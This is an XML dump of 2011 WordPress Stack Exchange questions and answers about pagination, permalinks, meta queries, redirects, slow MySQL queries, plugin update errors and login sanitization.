  <row Id="26151" PostTypeId="2" ParentId="26084" CreationDate="2011-08-17T14:52:23.060" Score="1" ViewCount="" Body="&lt;p&gt;I've found that &lt;code&gt;get_term_link()&lt;/code&gt;(or similarly &lt;code&gt;get_category_link&lt;/code&gt;) will output a pretty URL depending on where it's called, when called too early(i was testing inside the theme functions file initially) it will just output a regular query var style URL, eg. &lt;code&gt;http://example.com/?cat=5&lt;/code&gt;, where as when called later on(i tested in the theme's footer), you'll get a permalink style URL, eg. &lt;code&gt;http://example.com/category/nicename&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Clearly those functions rely on something that gets included later in the load sequence(at least after the theme's functions file), i can't pinpoint why they behave this way, but that's my initial observation, which also means my previous comment regarding there not being an internal function was incorrect.&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-08-17T14:52:23.060" CommentCount="1" />
  <row Id="26152" PostTypeId="1" AcceptedAnswerId="26171" CreationDate="2011-08-17T15:03:15.057" Score="0" ViewCount="48" Body="&lt;p&gt;For some reason, the 'previous posts' and 'next posts' on the homepage do not load previous posts, but rather the same posts that were on the main page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is that? I don't even know where to start debugging...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the following code snippets that might be related in the &lt;code&gt;loop.php&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( is_home() ) {&#xA;query_posts($query_string . '&amp;amp;cat=-13,'); &#xA;}&#xA;while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;// This following line added to exclude posts that have custom variable ad=true:&#xA;&amp;lt;?php if ( get_post_meta($post-&amp;gt;ID, 'ad', true) == '') {  ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...there here are the posts displaying...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php } // Ending the exlusion of 'ad' ?&amp;gt;&#xA;&amp;lt;?php endwhile; // End the loop. Whew. ?&amp;gt;&#xA;&#xA;&amp;lt;?php if (  $wp_query-&amp;gt;max_num_pages &amp;gt; 1 ) : ?&amp;gt;&#xA;            &amp;lt;div id=&quot;nav-below&quot; class=&quot;navigation&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;nav-previous&quot;&amp;gt;&amp;lt;?php next_posts_link( __( '&amp;lt;span class=&quot;meta-nav&quot;&amp;gt;&amp;amp;larr;&amp;lt;/span&amp;gt; Предишни статии', 'twentyten' ) ); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;nav-next&quot;&amp;gt;&amp;lt;?php previous_posts_link( __( 'Следващи статии &amp;lt;span class=&quot;meta-nav&quot;&amp;gt;&amp;amp;rarr;&amp;lt;/span&amp;gt;', 'twentyten' ) ); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&amp;lt;!-- #nav-below --&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where else could the problem be, if not in those snippets? How could I debug it?&lt;/p&gt;&#xA;" OwnerUserId="5760" LastActivityDate="2011-08-17T19:08:05.460" Title="Why do next pages load the same content rather then older articles?" Tags="&lt;pagination&gt;&lt;loop&gt;&lt;next-post-link&gt;&lt;previous-post-link&gt;" AnswerCount="2" />
  <row Id="26154" PostTypeId="2" ParentId="26150" CreationDate="2011-08-17T15:35:20.450" Score="1" ViewCount="" Body="&lt;p&gt;According to what I read it is because of an odd implementation of that function, apparently the number is used to add a Limit statement to the SQL that is used to get the pages. Then it applies the child_of requirement after retrieving the data from the database. So if you limit the query to 3 chances are you will not get any results that are also a child_of your page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead leave the number parameter off and do the limit in your foreach block. Ie increment a variable and if it is greater than your limit, exit the for loop.&lt;/p&gt;&#xA;" OwnerUserId="7971" LastActivityDate="2011-08-17T15:35:20.450" CommentCount="3" />
  <row Id="26155" PostTypeId="2" ParentId="26148" CreationDate="2011-08-17T15:36:12.570" Score="1" ViewCount="" Body="&lt;p&gt;I'm pretty sure to return or search an array for values (or keys) you need to use &lt;code&gt;meta_query&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$search = array(&#xA;           'post_type' =&amp;gt; 'post',&#xA;           'meta_query' =&amp;gt; array(&#xA;                                array(&#xA;                                   'key'     =&amp;gt; 'mykey',&#xA;                                   'value'   =&amp;gt; 'second',&#xA;                                     )&#xA;                                )&#xA;                );&#xA;&#xA; $query = new WP_Query($search);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-08-17T15:36:12.570" CommentCount="1" />
  <row Id="26156" PostTypeId="2" ParentId="26152" CreationDate="2011-08-17T15:39:42.663" Score="1" ViewCount="" Body="&lt;p&gt;It's because your homepage is using it's own query_posts call, and that query_posts call is bringing back all posts from a specific category. Since that is the only restriction in place it will always retrieve and display the same posts.&lt;/p&gt;&#xA;" OwnerUserId="7971" LastActivityDate="2011-08-17T15:39:42.663" CommentCount="1" />
  <row Id="26157" PostTypeId="2" ParentId="26066" CreationDate="2011-08-17T15:46:01.737" Score="1" ViewCount="" Body="&lt;p&gt;You could try out Scribu's plugin, i believe this addresses the very problem you're describing which has been reported on Trac a handful of times(but closed/deleted).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Category Checklist Tree&lt;/strong&gt; by scribu&lt;br&gt;&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/category-checklist-tree/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/category-checklist-tree/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Related tickets:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://core.trac.wordpress.org/ticket/14723&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/ticket/14723&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://core.trac.wordpress.org/ticket/10982&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/ticket/10982&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Hope that helps.. :)&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-08-17T15:46:01.737" CommentCount="2" />
  <row Id="26158" PostTypeId="1" AcceptedAnswerId="27726" CreationDate="2011-08-17T15:54:04.020" Score="0" ViewCount="104" Body="&lt;p&gt;Using the &lt;a href=&quot;http://jigoshop.com/&quot; rel=&quot;nofollow&quot;&gt;http://jigoshop.com/&lt;/a&gt; plugin, is it possible to change the order in which the products are displayed in the different grids.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not quite sure how it decides the order but is it possible to change it to sort it via menu order?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the page I'm working on - &lt;a href=&quot;http://www.roadsafetyforchildren.co.uk/product-category/roadmaster-sets/&quot; rel=&quot;nofollow&quot;&gt;http://www.roadsafetyforchildren.co.uk/product-category/roadmaster-sets/&lt;/a&gt; (I've yet to check browser compatibility with the site - I'm using Chrome)&lt;/p&gt;&#xA;" OwnerUserId="4588" LastActivityDate="2011-09-05T05:43:12.250" Title="Jigoshop - change the order in which products show up in a grid" Tags="&lt;e-commerce&gt;" AnswerCount="3" CommentCount="1" />
  <row Id="26159" PostTypeId="1" CreationDate="2011-08-17T16:13:43.943" Score="0" ViewCount="123" Body="&lt;p&gt;I have a custom post type called &quot;number&quot; and I would like to achieve URL's for it's &quot;posts&quot; to be the following &lt;a href=&quot;http://website.com/post-name&quot; rel=&quot;nofollow&quot;&gt;http://website.com/post-name&lt;/a&gt; instead of &lt;a href=&quot;http://website.com/number/post-name&quot; rel=&quot;nofollow&quot;&gt;http://website.com/number/post-name&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to set the 'rewrite' parameter in register_post_type to: &lt;code&gt;'rewrite' =&amp;gt; array( 'slug' =&amp;gt; '', 'with_front' =&amp;gt; false )&lt;/code&gt;, but it didn't worked. Even if I saved my permalinks settings to flush it. (I have my permalinks set to Day and name - /%year%/%monthnum%/%day%/%postname%/)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you have any ideas how to achieve it? I am doing a transfer of one website to WP and I would like to keep the current URL structure, so it will be safe for Google as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance for any tips.&lt;/p&gt;&#xA;" OwnerUserId="4212" LastActivityDate="2011-08-29T21:41:38.110" Title="Custom post type permalinks" Tags="&lt;custom-post-types&gt;&lt;permalinks&gt;" AnswerCount="3" CommentCount="1" />
  <row Id="26160" PostTypeId="2" ParentId="26138" CreationDate="2011-08-17T16:59:35.973" Score="1" ViewCount="" Body="&lt;p&gt;The issue is going to be the difference in the data required for setting the post thumbnail (an attachment ID) and what's probably in the custom field: a URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way I'm going to suggest is very sloppy: adds more attachments to WordPress.  A better way might be to write a custom SQL query where you grab the attachment ID from the custom field URL.  This works, it just might not be the best way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, get all the posts:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// get an array of all the posts&#xA;    $posts = get_posts(&#xA;        array( &#xA;            'numberposts'   =&amp;gt; -1,&#xA;            'post_type'     =&amp;gt; 'post'&#xA;        )&#xA;    );&#xA;&#xA;    // bail if our get_posts() call failed&#xA;    if( empty( $posts ) ) return;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then we'll loop through them, grabbing the original Image URL, then inserting it as a new attachment.  Finally, we'll update the postmeta table to reflect our new thumbnail ID and get rid of the old post thumbnail custom field.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach( $posts as $p )&#xA;    {&#xA;        // change your old thumbnail key!&#xA;        $image_url = get_post_meta( $p-&amp;gt;ID, 'your_old_thumbnail_key', true );&#xA;&#xA;        // no thumbnail? on to the next&#xA;        if( empty( $image_url ) ) continue;&#xA;&#xA;        // find our mime type for later&#xA;        $filetype = wp_check_filetype( $image_url );&#xA;&#xA;        // Set up an array of args for our new attachment&#xA;        $args = array(&#xA;            'post_mime_type' =&amp;gt; $filetype['type'],&#xA;            'post_title'     =&amp;gt; esc_attr( $p-&amp;gt;post_title ), // you may want something different here&#xA;            'post_content'   =&amp;gt; '',&#xA;            'post_status'    =&amp;gt; 'inherit'&#xA;        );&#xA;&#xA;        // Insert the attachment!&#xA;        $thumb_id = wp_insert_attachment( $args, $image_url,  $p-&amp;gt;ID );&#xA;&#xA;        // gotta set up some meta data (height, width, etc)&#xA;        // our functions are int his file, so we have to include it&#xA;        require_once(ABSPATH . 'wp-admin/includes/image.php');&#xA;        $metadata = wp_generate_attachment_metadata( $thumb_id, $image_url );&#xA;        wp_update_attachment_metadata( $thumb_id, $metadata );&#xA;&#xA;        // Finally! set our post thumbnail&#xA;        update_post_meta( $p-&amp;gt;ID, '_thumbnail_id', $thumb_id );&#xA;&#xA;        // Uncomment the next line to delete the old custom field&#xA;        //delete_post_meta( $p-&amp;gt;ID, 'your_old_thumbnail_key', $image_url );&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That's it!  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here it is as a plugin: &lt;a href=&quot;http://pastie.org/2386814&quot; rel=&quot;nofollow&quot;&gt;http://pastie.org/2386814&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6035" LastActivityDate="2011-08-17T16:59:35.973" />
  <row Id="26161" PostTypeId="2" ParentId="26148" CreationDate="2011-08-17T17:09:20.327" Score="2" ViewCount="" Body="&lt;p&gt;I believe you have to use meta compare LIKE. If you do a regular meta query, the resulting SQL will be meta_value = your_value, which is never going to find anything because it's trying to match the entire contents of the field.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-08-17T17:09:20.327" />
  <row Id="26162" PostTypeId="2" ParentId="26128" CreationDate="2011-08-17T17:24:31.033" Score="0" ViewCount="" Body="&lt;p&gt;You have likely Network Activated all of your plugins. If there are options for the plugins, these will appear in the Child site admin sidebar navigation. Plugins that have not been Network Activated will appear in the Child site admin under Plugins, with the option to activate them on a site-by-site basis.&lt;/p&gt;&#xA;" OwnerUserId="6974" LastActivityDate="2011-08-17T17:24:31.033" />
  <row Id="26163" PostTypeId="1" CreationDate="2011-08-17T17:25:59.153" Score="0" ViewCount="20" Body="&lt;p&gt;I can't get wp_redirect working correctly? I thought I'd figured this out (see &lt;a href=&quot;http://wordpress.stackexchange.com/questions/24846/wp-redirect-not-working-when-going-to-www-version-of-site&quot;&gt;wp_redirect not working when going to www version of site&lt;/a&gt;) but apparently not; no idea what changed between last week when it was working and now. I tried simplifying the function down but using the following I get an infinite-redirect error: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action ('after_setup_theme','mkm_restrict_access',10);&#xA;function mkm_restrict_access() {&#xA;    if (!is_user_logged_in() &amp;amp;&amp;amp; !is_page('splashpage') &amp;amp;&amp;amp; !is_page('login')) {&#xA;        wp_redirect('http://localhost.localdomain/clientname/wp/splashpage/'); &#xA;        exit; &#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've tried using wp_footer and almost everything up the chain in terms of calling the function but nothing seems to help. I am running &lt;a href=&quot;http://wordpress.org/extend/plugins/theme-my-login/&quot; rel=&quot;nofollow&quot;&gt;Theme My Login&lt;/a&gt; and &lt;a href=&quot;http://wordpress.org/extend/plugins/user-domain-whitelist/&quot; rel=&quot;nofollow&quot;&gt;User Domain Whitelist&lt;/a&gt;, if that matters. I tried disabling them but it didn't help. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suspect I'm doing something REALLY STUPID. :( Thanks for your help!&lt;/p&gt;&#xA;" OwnerUserId="16" LastActivityDate="2011-08-17T17:25:59.153" Title="Cannot get redirect working" Tags="&lt;wp-redirect&gt;" CommentCount="2" />
  <row Id="26164" PostTypeId="1" CreationDate="2011-08-17T17:49:54.607" Score="0" ViewCount="45" Body="&lt;p&gt;I have a WordPress site with more than 8000 posts and everytime I add a new one the site becomes unresponsive. I checked the MySQL slow queries log and found out that it is performing a select that returns most of the rows in the posts table and is taking a lot of time to execute.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is an example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Query_time: 149.702704  &#xA;Lock_time: 0.000078  &#xA;Rows_sent: 4699  &#xA;Rows_examined: 9398  &#xA;Rows_affected: 0  &#xA;Rows_read: 4699&#xA;use 488726_wp;&#xA;&#xA;SELECT `ID`, `post_author`, `post_date`, `post_date_gmt`, `post_status`, `post_name`, `post_modified`, `post_modified_gmt`, `post_parent`, `post_type`&#xA;    FROM `wp_posts` &#xA;        WHERE ( (post_status = 'publish' AND (post_type = 'post' OR post_type = ''))  &#xA;            OR  (post_status = 'publish' AND post_type = 'page') )  &#xA;        AND post_password='' &#xA;        ORDER BY post_modified DESC;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I find the source of these queries?&lt;/p&gt;&#xA;" OwnerUserId="231" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2011-08-17T23:26:05.327" LastActivityDate="2011-08-17T23:26:05.327" Title="How can I find the source of slow queries in Wordpress?" Tags="&lt;mysql&gt;&lt;performance&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="26165" PostTypeId="2" ParentId="18725" CreationDate="2011-08-17T18:11:16.800" Score="0" ViewCount="" Body="&lt;p&gt;An answer using @kaiser's example. With a custom post type as a function accepting alpha start and end params. This example is obviously for a short list of items as it does not include secondary paging. I'm posting it so you can incorporate the concept into your functions.php if you like.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//Dr Alpha Paging&#xA;//Tyrus Christiana, Senior Developer, BFGInteractive.com&#xA;//call like alphaPageDr(&quot;A&quot;,&quot;d&quot; );&#xA;function alphaPageDr($start, $end) {&#xA;echo &quot;Alpha Start&quot;;&#xA;$loop = new WP_Query('post_type=physician&amp;amp;orderby=title&amp;amp;order=asc');&#xA;&#xA;// build an alphabet array of capitalized letters from params&#xA;foreach( range( $start, $end ) as $letter )&#xA;    $alphabet[] = strtoupper($letter);&#xA;&#xA;if($loop-&amp;gt;have_posts()) {&#xA;    echo &quot;Has Posts&quot;;&#xA;    while ($loop-&amp;gt;have_posts()) : $loop-&amp;gt;the_post();&#xA;&#xA;        //filter by the first letter of the last name&#xA;        $first_last_name_letter = (string) substr( get_field(&quot;last_name&quot; ), 0,1 );&#xA;&#xA;&#xA;          if ( in_array( $first_last_name_letter, $alphabet ) ) {&#xA;&#xA;            //Show things&#xA;            echo  &quot;&amp;lt;img class='sidebar_main_thumb' src= '&quot;. get_field(&quot;thumbnail&quot; ).&quot;' /&amp;gt;&quot;;&#xA;            echo  &quot;&amp;lt;div class='sidesbar_dr_name'&amp;gt;&quot;. get_field(&quot;salutation&quot; ).&quot; &quot;.get_field('first_name').&quot; &quot;.  get_field('last_name').&quot;&amp;lt;/div&amp;gt;&quot;;&#xA;            echo  &quot;&amp;lt;div class='sidesbar_primary_specialty ' &amp;gt; Primary Specialty : &quot;. get_field(&quot;primary_specialty&quot; ).&quot;&amp;lt;/div&amp;gt;&quot;;              &#xA;        }&#xA;    endwhile;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;}&lt;/p&gt;&#xA;" OwnerUserId="7979" LastActivityDate="2011-08-17T18:11:16.800" />
  <row Id="26166" PostTypeId="2" ParentId="26164" CreationDate="2011-08-17T18:13:20.660" Score="1" ViewCount="" Body="&lt;p&gt;What you may want to do is perform an EXPLAIN on the query like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;EXPLAIN SELECT ID, post_author, post_date,&#xA;post_date_gmt, post_status, post_name,&#xA;post_modified, post_modified_gmt, post_parent,&#xA;post_type FROM wp_posts&#xA;WHERE ( (post_status = 'publish' AND (post_type = 'post' OR post_type = ''))&#xA;OR (post_status = 'publish' AND post_type = 'page') )&#xA;AND post_password='' ORDER BY post_modified DESC;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will the access pattern taken by MySQL is gathering the data you need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, just staring at the WHERE and ORDER BY clauses, I would like to make thie following suggestion: create an index that can help the query speed up. Since post_status and post_type have static values in the query and post_modified present a sort order for those two columns, try this index please:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ALTER TABLE wp_posts ADD INDEX (post_status,post_type,post_modified);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Give it a Try !!!&lt;/p&gt;&#xA;" OwnerUserId="4699" LastActivityDate="2011-08-17T18:13:20.660" />
  <row Id="26167" PostTypeId="1" AcceptedAnswerId="26852" CreationDate="2011-08-17T18:40:40.980" Score="1" ViewCount="22" Body="&lt;p&gt;What kinds of data sanitization I have to do if I make a front end login and registration system for wordpress users?&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;For login function &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_signon&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_signon()&lt;/code&gt;&lt;/a&gt; should I escape the data for&#xA;possible sql injection or wordpress will automatically do it for me?&lt;/li&gt;&#xA;&lt;li&gt;For registration I have found two function so far &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_insert_user&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_insert_user()&lt;/code&gt;&lt;/a&gt; and &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_create_user&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_create_user()&lt;/code&gt;&lt;/a&gt; and for updating user &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_update_user&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_update_user()&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;For the registration function I think &lt;code&gt;wp_create_user()&lt;/code&gt; will do the job for me. Again how much sanitization should i do? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do i need to do the password hashing? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also i have found some filters on the function reference page of the &lt;code&gt;wp_create_user()&lt;/code&gt;. Those are &lt;code&gt;pre_user_user_pass&lt;/code&gt;, &lt;code&gt;pre_user_user_login&lt;/code&gt;, &lt;code&gt;pre_user_user_nicename&lt;/code&gt; etc. Do, I need to use those filter before insert a new user?&lt;/p&gt;&#xA;" OwnerUserId="3094" LastEditorUserId="3094" LastEditorDisplayName="" LastEditDate="2011-08-17T18:47:58.380" LastActivityDate="2011-08-25T07:06:10.923" Title="Data sanitization for user registration and user login" Tags="&lt;validation&gt;&lt;wp-create-user&gt;&lt;user-registration&gt;&lt;data-sanitization&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="26168" PostTypeId="2" ParentId="13246" CreationDate="2011-08-17T18:52:13.010" Score="2" ViewCount="" Body="&lt;p&gt;t31os answer is great. Just a side note: to obtain the path to the image add&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;init : function(ed, url) {&#xA;    theurl = url;&#xA;},&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;right before &lt;code&gt;createControl: function...&lt;/code&gt; and now you can use it in&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var c = cm.createSplitButton('onehalf', {&#xA;    title : 'My split button',&#xA;    image : theurl + '/theicon.png',&#xA;    onclick : function() {&#xA;           tinyMCE.activeEditor.windowManager.alert('Button was clicked.');&#xA;    }&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Assuming your icon is right next to the JavaScript for the TinyMCE plugin.&lt;/p&gt;&#xA;" OwnerUserId="3013" LastActivityDate="2011-08-17T18:52:13.010" CommentCount="1" />
  <row Id="26169" PostTypeId="2" ParentId="26164" CreationDate="2011-08-17T18:53:44.517" Score="2" ViewCount="" Body="&lt;p&gt;Try using this plugin &lt;a href=&quot;http://wordpress.org/extend/plugins/debug-queries/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/debug-queries/&lt;/a&gt; for checking performance of your database queries. It shows lots of detatils about each and every query made and time the query needed to complete and the time needed to make the whole page.&lt;/p&gt;&#xA;" OwnerUserId="3094" LastActivityDate="2011-08-17T18:53:44.517" CommentCount="1" />
  <row Id="26170" PostTypeId="1" CreationDate="2011-08-17T18:59:42.673" Score="0" ViewCount="21" Body="&lt;p&gt;I'd like to sync my theme's README.markdown into a page on my site and would &lt;em&gt;love&lt;/em&gt; to be able to only have to update that text a single time -- namely, when I commit my code up to BitBucket. I have my theme doing &lt;code&gt;hg pull -u&lt;/code&gt; on a regular basis, so the code stays fresh and the README will get updated every time I make a change to the source, but my WordPress page containing the README then needs to get updated by hand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I'm using Mark Jaquith's &lt;a href=&quot;http://wordpress.org/extend/plugins/markdown-on-save/&quot; rel=&quot;nofollow&quot;&gt;Markdown on Save&lt;/a&gt; to do the MD-&gt;HTML dance.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts?&lt;/p&gt;&#xA;" OwnerUserId="61" LastActivityDate="2011-08-17T22:39:37.030" Title="What's the easiest way to periodically (automatically) read static Markdown content into a WP page?" Tags="&lt;static&gt;&lt;markdown&gt;" AnswerCount="1" />
  <row Id="26171" PostTypeId="2" ParentId="26152" CreationDate="2011-08-17T19:08:05.460" Score="0" ViewCount="" Body="&lt;p&gt;Are you using &lt;code&gt;'posts_per_page'&lt;/code&gt; and &lt;code&gt;'paged'&lt;/code&gt; in the query string? if not try to add&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$paged = (get_query_var('paged')) ? get_query_var('paged') : 1;&#xA;$query .= 'posts_per_page=5&amp;amp;paged='.$paged&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Number 5 will be replaced with the number of posts after which you want the next page (pagination) link to show up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also remove the if statement on the next page link&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;if (  $wp_query-&amp;gt;max_num_pages &amp;gt; 1 )&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="3094" LastActivityDate="2011-08-17T19:08:05.460" CommentCount="3" />
  <row Id="26172" PostTypeId="2" ParentId="25776" CreationDate="2011-08-17T19:43:56.403" Score="0" ViewCount="" Body="&lt;p&gt;The &lt;a href=&quot;http://formidablepro&quot; rel=&quot;nofollow&quot;&gt;Formidable Pro plugin&lt;/a&gt; (paid) does what I was describing.  It allows a logged-in user to submit a form multiple times and also will display a list of entries and a link to edit each one.  Gravity and Wufoo don't match up.&lt;/p&gt;&#xA;" OwnerUserId="6146" LastActivityDate="2011-08-17T19:43:56.403" />
  <row Id="26173" PostTypeId="1" CreationDate="2011-08-17T19:59:49.193" Score="0" ViewCount="12" Body="&lt;p&gt;I had 5 plugins with updates. After updating all of them through the Available Updates tool they disappeared from the Network Plugins page. I received errors like this for all plugins:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;The plugin custom-post-type-ui/custom-post-type-ui.php has been deactivated due to an error: Plugin file does not exist.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The folders still exist in /wp-content/plugins/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I deleted the folders and uploaded them through FTP they do not appear on the Plugins page. When I install them through wp-admin I receive this log text:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Downloading install package from http://downloads.wordpress.org/plugin/custom-post-type-ui.zip…&#xA;Unpacking the package…&#xA;Installing the plugin…&#xA;Successfully installed the plugin Custom Post Type UI 0.7.1.&#xA;Network Activate | Return to Plugin Installer&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But when I click Network Activate, I receive this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;The plugin does not have a valid header.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This happens for all 5 plugins and only happened beginning today.&lt;/p&gt;&#xA;" OwnerUserId="4224" LastActivityDate="2011-08-17T19:59:49.193" Title="All Updated Plugins Disappeared" Tags="&lt;plugins&gt;&lt;updates&gt;" />
  <row Id="26174" PostTypeId="1" AcceptedAnswerId="26175" CreationDate="2011-08-17T20:07:10.520" Score="1" ViewCount="36" Body="&lt;p&gt;I haven't done any serious WP development since version 2.8, although I fiddled a bit with version 3.0.  Short of reading the release notes on each version, what are the major things to take note of as 1) a theme/plugin developer and 2) an administrator?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've already identified three things:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Custom Post Types and Taxonomies&lt;/li&gt;&#xA;&lt;li&gt;Custom Menus&lt;/li&gt;&#xA;&lt;li&gt;Post Formats (a la Tumbr)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;What else do I need to take note of?&lt;/p&gt;&#xA;" OwnerUserId="106" LastActivityDate="2011-08-17T20:20:39.970" Title="I've been out of the loop since 2.8. What did I miss?" Tags="&lt;3.0&gt;&lt;3.1&gt;&lt;features&gt;&lt;3.2&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="26175" PostTypeId="2" ParentId="26174" CreationDate="2011-08-17T20:20:39.970" Score="2" ViewCount="" Body="&lt;p&gt;In no particular order, other notable things are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;old default theme was deprecated in favor of annual theme changes, you jumped over Twenty Ten theme and current one is Twenty Eleven&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;WordPress MU was merged into mainline WordPress and is now called multisite feature&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;serious improvements to complex querying by taxonomies and custom fields&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;server requirements had been bumped to newer versions of PHP and MySQL&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There had also been a lot of work done on admin UI and such. Too much of smaller stuff to list, just go through &lt;a href=&quot;http://codex.wordpress.org/WordPress_Versions&quot; rel=&quot;nofollow&quot;&gt;version pages in Codex&lt;/a&gt; (click version numbers, changelog pages are useless).&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-08-17T20:20:39.970" CommentCount="1" />
